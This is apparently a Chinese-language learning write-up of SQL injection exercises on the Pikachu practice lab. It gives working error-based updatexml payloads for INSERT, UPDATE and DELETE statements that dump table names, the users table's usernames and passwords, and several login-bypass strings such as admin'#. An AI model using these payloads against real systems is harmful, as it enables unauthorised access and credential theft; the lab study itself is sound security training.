多种注入
实验环境:pikachu
insert注入
原理:insert into users(id,username,password) values (2,'username'or updatexml(1,concat(0x7e,database()),0),'password')
1' or updatexml(1,concat(0x7e,database()),0) or'
1’闭合前面的单引号,or’闭合后面的单引号
修改updatexml中的语句即可,一定要用英文,我用中文重写了好几次才发现…
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
更改limit 0,1的值得到了httpinfo,member,message,users,xssblind等表,我没继续爆了,因为看到了users表
1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0) or'
爆出了user和password,直接得值
1' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0) or'
1' and updatexml(1, concat(0x7e, (select password from users limit 0,1)), 0) or'
第一个即为admin和密码
update注入
原理:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2
首先登陆,然后修改个人信息,原理是一样的,不再多说。我的环境好像炸了。。。。。
delete注入
原理:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)
进行删除操作的时候发送了get请求,能不能在id=76 后面加入语句呢?
?id=2 or updatexml(1,concat(0x7e,database()),0)
显然爆出来了数据库,报错注入即可。
强调一点:抓取本地127.0.0.1的包时要将127.0.0.1改为本地ip
万能密码
原理:select * from user where username= ‘’ and password= ''
-
admin’#
admin和password都为admin,用上述方法
成功登陆了,#把验证密码的部分过滤了,成功登陆select * from user where username= 'admin'
-
select 'a'=0
为1,是真的。
select * from user where username= ' '+' ' and password= ' '+' '
这也是真的,就和select * from user where username=0 and password=0
一样。
-
select * from user where username= 'aaa' = '' and password= ‘aaa’ = ''
因为假逻辑=假逻辑为真
即select * from users where 1 and 1
总之万能密码有太多技巧了,网上也可以找到,就不再写了。
从入门到入土